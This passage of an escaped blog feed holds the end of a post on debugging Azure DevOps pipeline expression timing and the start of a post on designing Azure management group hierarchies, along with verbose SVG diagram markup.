style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003e\u0026gt;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eThe Fix:\u003c/strong\u003e\nMap the branch name to a runtime variable and use a \u003ccode\u003econdition:\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eisMain\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;) ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables.isMain, \u0026#39;true\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow, in the PR run, the step will appear in the UI with a \u0026ldquo;Skipped\u0026rdquo; icon, providing a clear audit trail that the logic was evaluated correctly.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eParameters are for Structure; Variables are for Values.\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMissing from Expanded YAML = Compile-time failure.\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e${{ if }} blocks vanish; conditions merely skip.\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAlways verify with \u003ccode\u003econvertToJson\u003c/code\u003e during development.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions#expression-evaluation-timing\"\u003eMicrosoft Learn: Expression evaluation timing\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#expanded-yaml\"\u003eMicrosoft Learn: Expanded YAML view\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Azure DevOps Blog: Debugging YAML Templates\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Solve the #1 frustration of senior DevOps engineers: why compile-time if statements fail to see runtime variables. Learn to close the 'Expression Gap' with reliable debugging patterns.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/debugging-silent-pipeline-failures/","title":"Debugging Silent Pipeline Failures: When your if Statement Evaluates to Null"},{"content":"\u003cp\u003eSix months after the initial landing zone deployment, a new VP reorganizes the business units. Your management group tree — which you built to mirror the org chart — is now wrong. Every policy assignment, every RBAC scope, every cost report that referenced \u0026ldquo;BU-Finance\u0026rdquo; and \u0026ldquo;BU-Operations\u0026rdquo; needs to move. You spend two sprints refactoring infrastructure that was working fine. The reorganization didn\u0026rsquo;t break the business; your hierarchy design broke your platform.\u003c/p\u003e\n\u003cp\u003eThis is the Management Group trap. The hierarchy is the first thing you build in a landing zone, and it is the hardest thing to change later. Management Groups (MGs) sit above the subscription level, letting you apply Azure Policies and RBAC roles that cascade down to every child resource. A well-designed tree governs 1,000 subscriptions with the same effort as one. A poorly designed tree — typically one that mirrors a fluctuating org chart — means two sprints of refactoring every time the business restructures.\u003c/p\u003e\n\u003cp\u003eDesign for \u003cstrong\u003eFunctional Longevity\u003c/strong\u003e instead. Your hierarchy should represent the \u0026ldquo;Job to be Done\u0026rdquo; — Connectivity, Production Workloads, Sandboxes — not which department is currently paying the bill. Here\u0026rsquo;s how to deploy the standard Cloud Adoption Framework (CAF) hierarchy using \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e and wire up the governance scaffold for your entire Azure estate.\u003c/p\u003e\n\u003ch2 id=\"1-the-enterprise-scale-hierarchy\"\u003e1. The Enterprise-Scale Hierarchy\u003c/h2\u003e\n\u003cp\u003eThe standard blueprint starts with a single \u0026ldquo;Intermediate\u0026rdquo; Management Group below the Tenant Root. This group represents your organization and serves as the boundary for all shared enterprise policies.\u003c/p\u003e\n\u003ch3 id=\"enterprise-scale-management-group-hierarchy\"\u003eEnterprise-Scale Management Group Hierarchy\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 512 297\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 496,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 472,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,112 L 208,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,112 L 448,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,160 L 440,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,176 L 208,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,224 L 208,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,224 L 448,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,256 L 208,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,256 L 448,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,272 L 472,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 40,64 L 40,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,112 L 64,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 64,224 L 64,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,128 L 200,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,232 L 200,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,128 L 296,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,232 L 296,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,128 L 440,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,232 L 440,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,128 L 464,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,232 L 464,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,64 L 472,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,176 L 472,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 472,256 L 472,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,128 L 488,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 488,232 L 488,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,16 L 496,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,176 L 496,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,256 L 496,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,120 L 200,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,160 L 200,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,232 L 200,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,120 L 440,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,232 L 440,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,112 A 16,16 0 0,0 296,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 312,224 A 16,16 0 0,0 296,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,240 A 16,16 0 0,0 312,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='164' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='164' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='244' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='164' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='164' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='212' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='244' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='212' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' 